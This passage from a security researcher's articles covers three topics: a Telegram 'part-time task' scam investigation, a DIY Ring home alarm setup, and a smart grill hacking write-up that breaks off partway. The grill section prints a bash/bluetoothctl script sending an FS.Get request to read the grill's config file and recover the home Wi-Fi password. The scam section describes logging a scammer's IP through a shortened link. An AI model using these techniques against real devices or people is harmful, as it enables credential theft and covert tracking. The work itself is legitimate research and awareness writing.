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When I searched for a sample mobile phone number on the <u>SOCRadar XTI</u> platform, which monitors threat actors and fraudsters step by step in the cyber world and provides instant cyber threat intelligence to its customers, I was able to see that these mobile phone numbers were included in the data leak files shared in the underground world. It is even possible to complete missing information about a person from a mobile phone number used in common in multiple leak files.



It is also important to remember that similar scams on WhatsApp are also carried out in other <u>countries</u> worldwide, so it would not be wrong to say that Turkish citizens are facing an international fraud network.



# How did they lure their victims?

Shortly after joining a Telegram group called **Part-Time Task Group**, I found myself in an environment where tasks were being shared, screenshots, and correspondence were pouring in and I decided to watch what was happening on in the group.

After watching for a while, I noticed a discrepancy between the names, profile pictures, and language of the people in the group, including the administrators. When I searched a few profile pictures on the internet, as I did at the beginning of this article, I found that they belonged to entirely different people and were fake. ÷

# Andy Jumpita

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last seen recently

# Info

Unknown

Mobile

# Notifications

On



# Resepsiyonist-Eylül 🛪

last seen recently

Yandex Insee Video Tee



Other image sizes

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Sites containing information about the image

Photos from Dreamstime



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nist-Eylül

Q Search A<sup>th</sup> Translate

Fext in image



# <image> I CONTRACTOR I PORTACIÓN CONTRACTOR

Hack 4 Career

109

I realized that most people in the group were actually <u>bots</u> because of the spelling mistakes in the Turkish messages sent to the group, and the Turkish speakers sometimes used Chinese and English sentences.



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# Pinned Message

【Görev 18】 İş verileri görevi Gelişmiş Portföy Ö...



görevini tamamlayın. Bir sonraki görev bırakma zamanı 16:20 🕋 08:401

## Aysel

This merchant mission is helping merchants become more popular, and we're making a profit because of it! 08:40

Yönetici Rita pinned "【Görev 18】 İş veriler..."



#### Eda Alev

The minimum task for commercial tasks is 300, new members can do 100 08:40

## Esra Sayın Karaöz

Geçen sefer 100 yapmadım, bu sefer yapabilirim

# Yönetici Rita 🖈

İş verileri görevleri için görevi kendiniz seçin, örneğin: iş verileri görevini tamamladıktan sonra 500TL ödeyin, %30 ödül kazanın, 650TL Nakit Para kazanın. Aynı gün içerisinde 4 job data görevini tamamladıktan sonra resepsiyon görevlisi ile iletişime geçerek 5000 TL ek ödül alabilirsiniz.



The worst part was that the profile photos used by the bots appeared to be of innocent Turkish citizens.

# Mahmut

last seen recently

Info

Unknown

Mobile

# Notifications

On



E









The tasks, which started at **09:00** Turkey time, were renewed every **20** minutes and lasted until **20:30**, involving subscribing to <u>YouTube</u> channels shared by the group administrator and sharing screenshots on the group or with the group administrators. It was promised that those who made these posts could also earn money from this work. You were also expected to do a merchant task to earn more money and join private rooms. For this, it was stated that you had to deposit the minimum amount of **500 TL** and that you could make **650 TL** in return.

•

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Yarı Zamanlı Görev Grub अ 66 members

**Pinned Message** 【Görev 15】 YouTube abonelik görevi 1. Adım: Y...

July 31

Resepsiyonist - Nilu Balpanç added you to this group

Resepsiyonist - Aiyla added Mustafa Semih 🗖

Yönetici Rita ★ 【Görev 15】YouTube abonelik görevi

 Adım: YouTube'u açın ve
 Adım: YouTube'u açın ve
 Adım: Abone ol'a tıklayın
 Adım: Bir ekran görüntüsü alın ve bu çalışma grubuna gönderin
 Adım: Resepsiyonunuzla iletişime geçin, ödülü almak için ekran görüntüsünü gönderin



Bir sonraki görev bırakma zamanı 15:00 🛛 🛪 07:40

Yönetici Rita pinned "【Görev 15】 YouTube ab..."







Yari Zamanli Görev Grub ↔ ••• Yönetici Rita is typing

•

×

#### **Pinned Message**

[Görev 22] YouTube abonelik görevi 1. Adım: Y...

#### Yönetici Rita 🖈

【Görev 24】 İş verileri görevi Gelişmiş Portföy Öğeleri (2-4 sipariş): Satıcı Onaylı: Depozito ödendi.

Tüccar bildirimi: Piyasa talebine göre, döviz spekülasyonuna yardımcı olmak için artık farklı IP'ler alıyoruz, yer sayısı sınırlıdır, lütfen ayrıntılar için resepsiyon görevlisine danışın.

VIP1 500 TL Cashback 650 TL+ (yeni gelen avantajı) VIP2 2000 TL Geri Ödeme 2600 TL+ (grup karı) VIP3 3000 TL Geri Ödeme 3900 TL+ (grup karı) VIP4 6000 TL Geri Ödeme 7800 TL+ (grup karı) VIP5 8000 TL Cashback 10400 TL+ (grup karı) VIP6 12000 TL Geri Ödeme 15600 TL+ (grup karı) VIP7 18000 TL Geri Ödeme 23400 TL+ (grup karı) VIP8 25000 TL Geri Ödeme 32500 TL+ (grup karı) VIP9 30000 TL Geri Ödeme 39000 TL+ (arup karı) VIP10 60000 TL Geri ödeme 78000 TL+ (grup karı)

Kontenian sınırlıdır. önce gelen alır.

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Yari Zamanli Görev Grub

#### **Pinned Message**

[Görev 22] YouTube abonelik görevi 1. Adım: Y...

ταπαπιααιm

#### **Unread Messages**

#### Aurora Raynor

Evet kontenjana kendimiz başvurabiliriz, kendimize inanmalıyız. 11:28

# Yönetici Rita 🖈

İş verileri görevleri için görevi kendiniz seçin, örneğin: iş verileri görevini tamamladıktan sonra 500TL ödeyin, %30 ödül kazanın, 650TL Nakit Para kazanın. Aynı gün içerisinde 4 job data görevini tamamladıktan sonra resepsiyonist ile iletişime geçerek 3000 TL ek ödül alabilirsiniz.

İş görevleri, ek ödüller: 1. Aynı gün 30 görev tamamlayın ve ek 5000TL görev ödülü kazanın.

2. Aynı gün içinde 4 iş verisi görevini tamamlayın ve ek 3000TL görev ödülü kazanın.

Yukarıdaki ekstra görev ödülleri için lütfen resepsiyon görevlisi ile iletişime geçin.



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Yari Zamanli Görev Grub 🔌

109 members

#### **Pinned Message** 【Görev 30】YouTube abonelik görevi 1. Adım: Y...

- 2. Adım: Abone ol'a tıklayın
- 3. Adım: Bir ekran görüntüsü alın ve bu çalışma grubuna gönderin
  4. Adım: Resepsiyonunuzla iletişime geçin, ekran görüntüsünü ödülü alan kişiye gönderin. nu 13:15

## Yönetici Rita pinned "【Görev 30】 YouTube ab..."

## Yönetici Rita 🖈

#### Admin

Bugünün görevi gönderildi ve tamamlandı. Çalışma grubu, iş ortaklarının ihtiyaçlarına göre her gün 26 YouTube abonelik görevi (20 dakika) ve 4 iş verisi tıklama görevi (40 dakika) dahil olmak üzere 30 görev yayınlar. Aynı görevin ödülleri farklıdır. Günlük görevler sabah 09:00'da başlar ve akşam 20:30'da biter.

#### Hasanstoi

harika.. görevleri bitirdim sayılır🥶

#### 13.1

#### Aurora Raynor

Son görev yayınlandı ve ödülü tamamladıktan sonra alabilirsiniz.

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Unfortunately, I did not have the chance to find out whether these YouTube channels shared during the mission were randomly selected by the scammers to convince the victims on the group, or whether they were channels of people who purchased services to gain followers from these scammers.

It would be useful for those who buy followers to remember that they may be inadvertently financing such scammers.

÷		Yari Zam ··· Janet is	anli Gör <sub>typing</sub>	ev Grub	*
Pinned [Görev	<b>Messag</b> v 26】Yo	<b>e</b> uTube abon	elik görevi	i 1. Adım: Y	, × P
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B		RD AH		11.50	
	Yönetic 【Göre görevi	i Rita ★ ev 26】You	Tube abc	Admin	
	1. Adın 2. Adın 3. Adın bu çalı 4. Adın iletişim ödülü a	n: YouTube rayın n: Abone o n: Bir ekrar şma grubu n: Resepsiy ne geçin, el alan kişiye	e'u açın v l'a tıklayıı görüntü ına gönde yonunuzl kran görü gönderin	e <b>(</b> sü alın ve erin a intüsünü	
	Birson	raki gorev	hirakma		





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The bots that shared screenshots of their subscribers would also occasionally share bank statements of their earnings from their posts. When I looked at the bank statements, I could see that some of them were visibly manipulated. On the other hand, since I assumed that the scammers would not bother to change every single piece of information on the statements, I was immediately struck by the inconsistencies between the recipient/sender bank name and the <u>bank code</u> in the recipient/ sender IBAN.





During the day, I saw scammers adding new victims to the group. Fortunately, those who realized the scam warned others and left the group immediately.



A careful examination of the screenshots shared in the group led me to conclude from various clues that some of them were from virtual phone software (<u>Android Emulator</u>, etc.), while others could be real, perhaps hacked, phones because they contained gsm operator names and also ran other applications at the background.









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In some screenshots, I saw that they probably used a VPN to have an IP address from Turkey. I also noticed that the bots sometimes received an error from YouTube (<u>Resource has been</u> <u>exhausted (e.g. check quota)</u>.). When I looked at the number of subscribers to the YouTube accounts that were asked to subscribe during, and after the start of the task, I saw that the number of subscribers increased by **2000**. Based on this, I can say with a simple calculation that the scammers have an army of thousands of bots for this job.






At **20:30**, the so-called bots said goodnight to each other and the group fell silent until **09:00** the next morning. Again, various questions started to come to my mind. Why were they going to sleep at **20:30** when money transfers can be made 24/7 in Turkey thanks to <u>FAST</u>? Was it because it was late at night in the location of the fraudster/operator managing the bots, so he had adjusted his shift and the bots according to this time? I left finding answers to these questions for later and continued my research from where I left off.

On **August 4, 2023**, I noticed that the Telegram group had been closed and contacted the scammer to ask him to let me back into the group. This time, when I entered the group, the list of group members was hidden. I watched the group for a while to learn the details of the scam attempt and after completing 4 tasks, I contacted the scammer to get me into a larger group and to deposit the money into my account.

Of course, the scammer stated that I had to complete 4 merchant tasks (pay **500 TL** and earn **650 TL** model). When I asked where and how to make the payment, she said I could make it to her bank account. In order to prevent fraudsters from victimizing more of our citizens, I had to quickly learn these bank accounts and forward them to the authorities of those banks for monitoring and blocking. Without wasting time, I told the fraudster that I wanted to make a payment.

kazanırsınız



After getting the first account information and informing the relevant bank official about it, I told the fraudster that my money transfer could not be realized and that there was a problem with their account. Then I tried to convince her to provide a second account information and I succeeded.





At the end of the day, I quickly shared the information of **5** different accounts used by fraudsters in **4** different banks with the authorities of these banks and we prevented more citizens from being victimized in a very short time. At this point, I would like to thank the banks whose names I cannot disclose and all the officials there for their quick actions.

In the light of all this information I have obtained, if I summarize the scam set up by fraudsters;

They contact the victim using a foreign number on WhatsApp and take them to a Telegram group. All of the correspondence and receipts shared by the bots in the Telegram group are an important part of the scam to impress and convince the victim. At first, the scammers gain trust by sending 180 TL to the victim's account and try to convince the victim to pay for more. The scammers use accounts opened in more than one bank for money transfers. By getting the victim to subscribe to 26 YouTube accounts shared in the Telegram group during the day, they are likely to make either main or side profits – kill two birds with one stone!

### Who owned the accounts used to transfer money?

As I received the misused account information from the fraudster one by one, different questions began to plague my mind again. When I searched the names and surnames of these account holders on the social network LinkedIn, I saw that most of them were either currently, or until recently university students, even if there was a possibility of name similarity. Were they young people in their 20s who knowingly and willingly cooperated with the fraudsters, or were they students who were exploited by fraudsters for the sake of earning

income due to the difficult living conditions? Unfortunately, knowing that I would not have a chance to find an answer to this question, I continued to search for answers to other questions that puzzled me.

# From which country were they running this operation?

Since I have experienced in my similar researches such as <u>Exposing Pig Butchering Scam</u> that scammers, whether local or foreign, mostly do not pay attention to <u>Operations Security</u>, I decided to try the same method to detect the IP address of this scammer.

For this, I used <u>Bitly</u> URL shortening service to share the address of the fake screenshot I uploaded to my website and tried to obtain the IP address.

At first, the scammer was hesitant to click on the link, but since there was revenue at stake and he didn't know that I was on the other side of the keyboard, he decided to bite the bullet and clicked. When I searched the IP address I obtained from my website's logs on SOCRadar IOC Radar, I found that the scammer was communicating with me through **Thailand** with the IP address <u>171.102.239.190</u>.



en son hesaba yeniden başvurmak için

	í grep 🚛	.jpeg access.log				
71.102.239.190 [05/Aug/2023:14:19:4	5 +0000] "GET /images/_	jpeg HTTP/1.1" 200 30764 "-	-" "Mozilla/5	.0 (Windows NT 10.0; Win64;	x64) AppleWebKit/537.36 (KHTML,	like Gec
b) 007scrm/4.58.8 Chrome/108.0.5359.215	Electron/22.3.18 Safar	i/537.36"			1	
← → ♂ △ a socradar.io/labs/ioc-ra				3 9 6 x 0 k	) 🖪 🛛 \star 🔍 🗖 🚯	Update 🗄
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262A		Search on the IOC Radar. Enter o	domain, ip ado	dress or hash		
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Country Threat Landscape Report	ASN Subnet :	171.102.239.0/24				
	T ASN Row :	171.102.0.0 - 171.102.255.255 true-cor	(	Longitude: 98.56657	Country Code: TH Region Name: Tok	
Beta						
	Feed Source Fire	nding 🥝 🖪 Dark Web Finding 🥝	Penalty	Reason 🥑 😗 Recent Refer	ences 🕗	
Report						
	1					-

When I found out that there is a 4 hour difference between Thailand and Turkey, I understood why the bots say good night to each other at 20:30 Turkey time and 00:30 Thailand time  $\bigcirc$ 

Of course, from the records on my website, I not only learned about the scammer's country of origin, but I also learned from **007scrm/4.58.8** in the <u>User-Agent</u> header that the scammer used an application called <u>SCRM Windows</u> to manage multiple social media accounts and communicate with his victims.



# Did the fraudsters speak Turkish or did they use translation tools?

Looking at the screenshots, it was clear that both the bots on the group and the scammer/operator were using translation tools, but just to be sure, I decided to use Anatolian dialects and spelling mistakes that translation tools would fail **100**% of the time, but that only those who know Turkish can understand. As you can see from the screenshot, translation programs fail against Anatolian dialects, so I was sure that they were using translation tools.



### Conclusion

Before answering calls and messages from unknown sources against fraud attempts, you should always keep in mind that there might be a potential fraudster on the other end of the line, on the other end of the keyboard.

By muting calls from unknown numbers in WhatsApp (Settings -> Privacy -> Calls -> Silence unknown callers), you can prevent them from bothering you for at least a while.

	10:23 ↓ 10:23 ← Privacy ← Calls	<b>*</b> 41
	Disappearing messages Default message timer Off Start new chats with disappearing messages set to your timer Learn more Learn more	De 1 the
Silence Unknown Callers	Groups Everyone Live location None	
	Calls Silence unknown callers	
	Blocked contacts None Fingerprint lock Disabled	

If you can share this article with your spouse, friends, loved ones, and those around you in order to raise awareness against this fraud method, together we can prevent more citizens from being defrauded!

Hope to see you in the following articles.

## 5. Home Home

Secure Home

Towards the end of 2022, when my spouse and I decided to <u>settle</u> in the United States, our first task was to find a place to live. Having lived in a house with 24/7 residential security guard services in Istanbul, Turkey, for many years, we had never been particularly concerned about security. However, when it came to living in a detached house and ensuring its physical security, it became my responsibility as a cybersecurity professional and DIY enthusiast.

Thanks to our realtor Ms. <u>Arda AKBAŞ</u>, even before setting foot in the United States, we managed to find a three-story, detached house in a <u>low-crime</u> area remotely.

As my first task, I started examining the exterior of the house using <u>Google Maps.</u> to roughly identify suitable locations for outdoor cameras. When it came to finding a suitable alarm system, as a <u>DIY</u> enthusiast, <u>Ring</u>, <u>Eufy</u>, <u>SimpliSafe</u>, <u>ADT Blue</u> alarm systems caught my attention. After extensive research and evaluations, despite some negative <u>news</u> regarding <u>privacy</u> and <u>vulnerabilities</u>, I decided to choose the Ring alarm system due to its price, performance, and extensive ecosystem.

After moving into the house, my first task was to inspect each floor as if I were a burglar. As you might expect from American movies, I encountered many (27) sliding windows and 3 doors opening to the garden. The basement was a cute place, ideal for making a home gym, with 1 room, 2 windows, and a door opening to the garage, unlike in horror movies where it's always the place where monsters and bad spirits reside.



According to the emerging needs, I first ordered the secondgeneration <u>main alarm system</u> from Ring, which consists of **14** pieces. In addition to that, I also ordered <u>panic buttons</u> that activate the siren when pressed for 3 seconds, detectors capable of detecting the sound of <u>glass breaking</u>, and <u>motion detectors</u>.



After securing the windows and doors with <u>magnetic door</u> <u>contacts</u> and ensuring the safety of specific areas with glass break and motion detectors, it was time to purchase indoor and outdoor cameras.

Since the garage had two doors accessible from the outside and one door from the inside, it was an important location to position an indoor camera. To avoid dealing with electrical wiring, I decided to go with battery-powered cameras and purchased the <u>Ring Stick Up Cam</u> for the garage. Next, I installed and set it up.

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When it came to exterior cameras, my first priority was capturing footage of anyone approaching the front door, as well as having the ability to engage in two-way communication. Therefore, I purchased the <u>Ring Video</u> <u>Doorbell 4</u>, which allowed me to achieve these functionalities. Instead of drilling and mounting it on the wall, I chose to hang it on the door. Additionally, I purchased the <u>DOORBELLBOA</u>

Anti-Theft Video Doorbell Door Mount as an additional accessory.

Two days after activating the smart bell, it caught its first uninvited guest. 🙂



One or more interactive elements has been excluded from this version of the text. You can view them online here: <a href="https://pressbooks.pub/">https://pressbooks.pub/</a> hack4career/?p=48#oembed-1

Since the main entrance door of the garage was outside the camera's field of view, I decided to install the Ring Spotlight Cam Pro on both the main entrance door and the back door of the house. To avoid frequently changing the batteries of the cameras (which typically last around 3 months depending on usage), I not only equipped each camera with two batteries but also purchased the second-generation Ring Solar Panel, a solarpowered panel, and connected it to the cameras. This way, the panels have relieved me of the hassle by charging the batteries on sunny days.











In the following days, we had another uninvited guest, but this time, he was caught in the backyard.  $\bigcirc$ 



One or more interactive elements has been excluded from this version of the text. You can

view them online here: <u>https://pressbooks.pub/</u> hack4career/?p=48#oembed-2

Just like in cybersecurity (CISSP Domain 3: Security Architecture and Engineering), <u>deterrence</u> is an important security control in physical security as well. Therefore, I made sure not to overlook placing 2 <u>Ring Solar Security</u> signs that are powered by solar energy and illuminate at night, at the entrance of the house and in the backyard. This serves as a deterrent to potential intruders.



For the business continuity, the main alarm system (Base Station) is equipped with a battery that can provide power for up to 15 minutes during short power outages, and it also has cellular connectivity support to handle internet outages. As someone who wants to ensure stability, I also purchased the <u>APC BE600M1 and BE425M Battery Backup</u> uninterruptible

power supply units to support not only the router and alarm system but also other electronic devices I have.

After completing all the installations, I now have a smart alarm system provided by <u>Ring mobile application</u>, which allows me to monitor and receive notifications about activities happening in and around my home 24/7. To expand the monitoring beyond just myself, I have also started utilizing Ring's <u>Protect</u> <u>Pro</u> 24/7 professional monitoring service.



Finally, I completed the setup with <u>Alexa, Echo Show 10</u>, an AI-supported voice assistant that can integrate with the Ring alarm system, transmit alarms generated by the system verbally, allow live viewing of cameras, make calls to the person ringing the doorbell, and most importantly, customize alarms according to your needs with <u>Routines</u>.

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Y	OUR	ROUTINES	GALLERY	А	CTIVITY	P
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	(  •	Basement	Door Alert		D	
	(( o	Basement	Door is open		Ø	
	( o	Basement	Motion Alert		Ø	
	(	Basement	Motion Dete	ctor dete		<u> </u>
	(( o	Basement	Window 1 Al	ert	Ø	
	()	Basement	Window 1 is	open	٥	P
	(( o	Basement	Window 2 Al	ert	D	
	Home	Communic	cate Play	Devices	More	

<del>~</del>	EDIT ROUTINE	:
Enabled		
NAME		
Basement D	oor is open	Change
WHEN		
Basement D View/Edit	oor opens	
Anytime		Change
ALEXA WILL		45
Add action		<b>e</b>
Say "B	asement door is open"	=
FROM		
Echo Show		
Home Com	municate Play Devices	More

In conclusion, the Ring alarm system, along with all its components, cost us approximately \$2000. While it cannot replace our beloved and loyal companion, North, in terms of being our family's guardian, we believe the Ring alarm system provides a great opportunity for him to enjoy early retirement and long naps.





I assume this article will be useful for those who want to use a DIY alarm system like me. Hope to see you in the following articles.

### 6. How I Hacked my Smart Grill ?

The Russian Military Intelligence Department (GRU), targeting Mert SARICA, a high-ranking bureaucrat, assigned the notorious <u>APT 28</u> hacker group, also known as Unit 26165, which has been operating since 2004, to infiltrate his home's wireless network and retrieve **Top Secret** classified documents.

On April 10th, APT 28 group members entered the country with diplomatic passports. After placing their equipment, including a computer and various hardware for wireless network hacking, in the trunk of a rented Citroen C3, they set off towards the address of the house.

Hacking Grill

Hacking Grill

Hacking Grill

As they approached the house, they resorted to the <u>Wardriving</u> method to identify the <u>SSID</u> (Service Set Identifier) of the target wireless network. After passing by the house twice, they

determined that the network with the highest signal strength belonged to **Hack4Career**.

To avoid arousing suspicion, the APT 28 group parked their cars at the beginning of the closest street to the house. They then turned their attention to trying to crack the 15-character alphanumeric password, which included special characters, protecting the wireless network using the <u>WPA3</u> protocol.

After extensive efforts, the group concluded that they couldn't break the password and decided to embark on <u>reconnaissance</u> around the house.

In today's world, the <u>Internet of Things (IoT)</u> is prevalent in various areas, from kitchen appliances and cars to thermostats and smart home systems. Due to the vulnerabilities of these devices, the group searched for smart devices that could be easily exploited.

According to <u>statistics</u>, as of the year 2023, there are **8** billion people living on our planet, while the number of IoT devices has reached twice the human population, reaching **16** billion.

After a brief reconnaissance mission, the APT 28 group's attention was drawn to the Wi-Fi and Bluetooth-enabled <u>smart</u> <u>pellet grill</u> on the terrace, which was plugged into an outlet. They remotely took a photo of the brand and model and decided to purchase one for vulnerability research.

After 8 hours of investigation, they managed to obtain the name and password of the associated wireless network

remotely by sending a packet/command via Bluetooth to the grill, requiring only that it be plugged in.

With this information in hand, they wasted no time and quickly got into their cars, heading towards Mert SARICA's house. After parking their vehicles in the same spot at the beginning of the street, they used a <u>Parani-UD100</u> device connected to their computer's USB port to send a packet/ command to the smart grill via Bluetooth from a distance of **984** feet.

Upon receiving a response from the smart grill, they successfully obtained the **Hack4Career** wireless network name and its **15-character** password. They then successfully connected to the wireless network, completing the first step of their operation.

The fictional story I described above may seem utopian to many for two reasons.

First, you might think that Russian hackers entering a country with ease and then attempting to infiltrate a wireless network is something you'd only encounter in movie scripts. For those who think this way, I recommend taking a look at this <u>news</u> article from 2018. I'm sure that some of the photos in the article will look familiar to you.

Second, you may believe that hacking a smart grill and infiltrating a home network wouldn't be as easy in practice and would only happen in an episode of <u>Mr. Robot</u>. For those who think this way, I leave you with the following story where the main character and everything described are real.

With the approaching barbecue season, in April 2023, I started looking for a grill to use on my terrace. While considering

whether to get a practical gas grill or deal with charcoal every time, I decided to purchase a smart, WiFi pellet grill even though I've been saying "Smart device means spy device" for years.



After the grill reached my hands, I downloaded and installed the mobile app mentioned in the grill's user manual. After running the app, I followed the instructions and first added the grill via Bluetooth, then included it in my home WiFi network by entering the password.
$\bigcirc$ 

# PRODUCT SETUP

#### STEP 1:

Open your settings and ensure Bluetooth is enabled on this device

#### STEP 2:

Select your product when it appears below



If you don't see your product, move closer to the product and make sure the product is turned on.

# CONNECTING



SKIP

## WIFI SET UP

Select your WiFi network and enter your network password. Your grill will automatically switch between Bluetooth and WiFi for the best connection.

## SELECT YOUR WI-FI NETWORKS

# WIFI SET UP

Enter the password for:

0

Password

CONTINUE

After I cooked our first meal on the grill and enjoyed it, I decided to conduct a security research just like other IoT devices that I purchased before.

As a first step, I downloaded the mobile application from ApkPure and started examining the source code with the jadx tool. Since no obfuscation method was used during the compilation phase, I was able to easily examine the source code.



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After navigating through the codes for a while, I noticed the **init.js** file that was passed as a parameter to the **getFileContent()** function. When I examined the getFileContent() function, I saw that it read the init.js file located in the operating system of the grill using the **Fs.Get** method.





Of course, when I saw this, lightning bolts struck in my mind and I had only one question in my mind: "If I send a file name other than init.js to the grill via Bluetooth, would I be able to see the content of that file in the response?

To find the answer to this question, just like in my blog post titled "<u>Run Mert Run</u>" I followed the steps in a response to a message from someone who was experiencing Bluetooth packet-related issues on Samsung's <u>support page</u> to examine the Bluetooth communication between the mobile application and the grill.

When I started analyzing the btsnoop\_hci.log file with Wireshark, I saw that at one point in the communication, the the value mobile application wrote 00000055 (WRITE REOUEST) to the handle 0x33 of the 5f6d4f53-5f52-5043-5f74-785f63746c5f (CHARACTERISTIC BROIL KING WRITE DATA LEN **GTH)** Bluetooth service.

In the next step, that the command I saw {"id":999,"method":"FS.Get","params":{"filename":"init.js ","offset": 0, "len":20}} was sent in pieces (WRITE REQUEST) handle of to the 0x2e the 5f6d4f53-5f52-5043-5f64-6174615f5f5f

## (CHARACTERISTIC\_BROIL\_KING\_WRITE\_COMMAND







When I decoded the <u>Base64</u>-encoded data in the response (READ RESPONSE) received from the grill, which contained {"id":999, "src":"XXX-XXXXXX", "result":{ "data": "Ly9CS1B2MDQyLjQ1ICAgICAgICA=", "left": 35298}}, I found the string //BKPv042.45



#### Hack 4 Career 185

← → C ☆ ( a gchq.github.io)0	CyberChef/#recipe=From_Base64('A-Za-2	:0-9%28/%3D',true,false	]&input=THk5Q1MxQjJNRFF5TGpRMUIDQWdJQ0FnSUN	0 ☆ 0 🎙 0 🛊 🕹 🖬 🕅 :
🚔 Hack 4 Career. Inf 📑 Linkedin 🈏	Mert SARICA (mer., M Inbox - mert.saric			Cther Bookmarks
Download CyberChef 🛓	Last build: 1	0 days ago - Version 10 is	here! Read about the new features here	Options 🔅 About / Support 🍘
Operations	Recipe	8 H i	Input	+ 🗅 🖯 🗎 🚍
Search	From Base64	⊘ 11	Ly9CS1B2MDQyLjQ1ICAgICAgICA=	
Favourites 🖈	Alphabet A-Za-z0-9+/=			
To Base64	_	_		
From Base64	Remove non-alphabet chars	Strict mode		
To Hex				
From Hex				
To Hexdump			sec 28 p= 1 ♀ 28	Ty Raw Bytes ↔ LF
From Hexdump			Output	B () A ()
URL Decode			//BKPv842.45	
Regular expression				
Entropy				
Fork				
Magic				
Data format	STEP 🛛 💆 BAKE!			

When I searched for some keywords that caught my attention in the source code of the mobile application on Google search engine, I learned that the grill has an operating system called <u>Mongoose OS</u>.



After realizing that I had never seen or heard of this operating

system before, I decided to take a look at the user guide on their website. When I visited the <u>Device config page</u>, the **conf9.json** file among the json files starting with conf caught my attention.

Since I thought this file containing user settings might have some noteworthy information, I created the following **88** characters long request/command to read the **conf9.json** file over Bluetooth connection using **bluetoothctl** tool instead of **init.js**, but I encountered an **Invalid Offset** error when I sent it to the grill through a <u>Bash</u> script.

{"id":999,"method":"FS.Get","params":{"filename":"conf9. json","offset": 0, "len":20}}

0×20       0×7b       0×22       0×64       0×22       0×33       0×39       0×39       0×22       0×20       0×20       0×22       0×20       0×20       0×22       0×20       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20       0×22       0×20	<pre>(root © Kali)-[~/Desk # echo -n ' {"id":999 offset":0.;; "len":20}</pre>	<pre>ktop] 9,"method":"FS.Get","params":{"filename":"conf9.json } '   hexdump -ve '/1 "0x%02x "' Group: Protocol]</pre>	ed cu Warni
<pre>*/root/Desktop/send.sh - Mousepad File Edit Search View Document Help File Edit Search View Document Help</pre>	0×20 0×7b 0×22 0×69 0×6 68 0×6f 0×64 0×22 0×3a 0×61 0×72 0×61 0×6d 0× x6d 0×65 0×22 0×3a 0×22 2 0×2c 0×22 0×66 0×66 0 0×22 0×6c 0×65 0×6e 0×2	54 0*22 0*3a 0*39 0*39 0*39 0*2C 0*22 0*6d 0*65 0*74 0*22 0*46 0*53 0*2e 0*47 0*65 0*74 0*22 0*2c 0*22 0 73 0*22 0*3a 0*7b 0*22 0*66 0*69 0*6c 0*65 0*6e 0*6 2 0*63 0*6f 0*6e 0*66 0*39 0*2e 0*6a 0*73 0*6f 0*6e 0*66 0*73 0*65 0*74 0*22 0*3a 0*20 0*30 0*20 0*2c 0* 22 0*3a 0*32 0*30 0*7d 0*7d 0*20	0x ×70 1 0 0×2 20
File Edit Search View Document Help	6	*/root/Desktop/send.sh - Mousepad	<b>8</b>
Image: Provide the second state of	File Edit Search View	Document Help	
Warning: you are using the root account. You may harm your system. 1 #1/bin/bash 2 bluetoothctl << EOF 3 devices 4 agent on 5 connect 6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f 7 gatt.write "0×00 0×00 0×00 0×55" 8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f 9 gatt.write "0×20 0×7b 0×22 0×69 0×64 0×22 0×3a 0×39 0×39 0×2c 0×22 0×6d 0×65 0×74 0×68 0×6f 0×64 0×22 0×3a 0×22 0×3a 0×7b 0×22 0×66 0×65 0×74 0×22 0×2c 0×22 0×70 0×61 0×72 0×61 0×6d 0×73 0×22 0×3a 0×7b 0×22 0×66 0×66 0×39 0×2e 0×6a 0×65 0×6e 0×61 0×6d 0×65 0×22 0×26 0×66 0×66 0×73 0×65 0×74 0×22 0×6a 0×30 0×20 0×2c 0×22 0×22 0×66 0×65 0×66 0×22 0×3a 0×32 0×30 0×7d 0×7d 0×20" 10 gatt.read 11 gatt.read		эс» ГЦ Ф Я А	63
1 #//bin/bash 2 bluetoothctl << EOF 3 devices 4 agent on 5 connect 6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f 7 gatt.write "0×00 0×00 0×055" 8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f 9 gatt.write "0×20 0×7b 0×22 0×69 0×64 0×22 0×3a 0×39 0×39 0×39 0×2c 0×22 0×6d 0×65 0×74 0×68 0×6f 0×64 0×22 0×3a 0×22 0×46 0×53 0×2e 0×47 0×65 0×74 0×22 0×2c 0×22 0×70 0×61 0×72 0×61 0×6d 0×73 0×22 0×3a 0×7b 0×22 0×66 0×69 0×6c 0×65 0×6e 0×61 0×6d 0×65 0×22 0×3a 0×22 0×63 0×6f 0×6e 0×66 0×39 0×2e 0×6a 0×30 0×6f 0×6e 0×22 0×2c 0×22 0×6f 0×66 0×66 0×73 0×65 0×74 0×22 0×3a 0×20 0×30 0×2c 0×2c 0×20 0×2c 0×22 0×6c 0×65 0×6e 0×22 0×3a 0×32 0×30 0×7d 0×7d 0×20" 10 gatt.read 11 gatt.read 12 EOF	Warning: you a	are using the root account. You may harm your system.	
11 gatt.read   12 EOF	1 #!/bin/bash 2 bluetoothctl << EOF 3 devices 4 agent on 5 connect 6 gatt.select-attribute 7 gatt.write "0×00 0×00 8 gatt.select-attribute 9 gatt.write "0×20 0×70 0×65 0×74 0×68 0×6f 0×2c 0×22 0×70 0×6f 0×65 0×6e 0×61 0×6d 0×30 0×20 0×2c 0×20 0 10 gatt.read	e 5f6d4f53-5f52-5043-5f74-785f63746c5f 0 0×00 0×55" e 5f6d4f53-5f52-5043-5f64-6174615f5f5f b 0×22 0×69 0×64 0×22 0×3a 0×39 0×39 0×39 0×2c 0×22 0×64 0×22 0×3a 0×22 0×46 0×53 0×2e 0×47 0×65 0×74 0× 0×72 0×61 0×6d 0×73 0×22 0×3a 0×7b 0×22 0×66 0×69 0× 0×65 0×22 0×3a 0×22 0×63 0×6f 0×6e 0×66 0×39 0×2e 0× 0×2c 0×22 0×6f 0×66 0×66 0×73 0×65 0×74 0×22 0×3a 0× 0×22 0×6c 0×65 0×6e 0×22 0×3a 0×32 0×30 0×7d 0×7d 0×	0×6d <22 <6c <6a <20 <20"
12 EOF	11 gatt.read		
	12 EOF		

<b></b>	root@K	all' «Deskton
File Edit View Go Capture Analyze Statistics	Telephony Wireless Tools	Help
@	ᠬ ↔ ᢣ 📑 🔳 🛚	
Letooth		
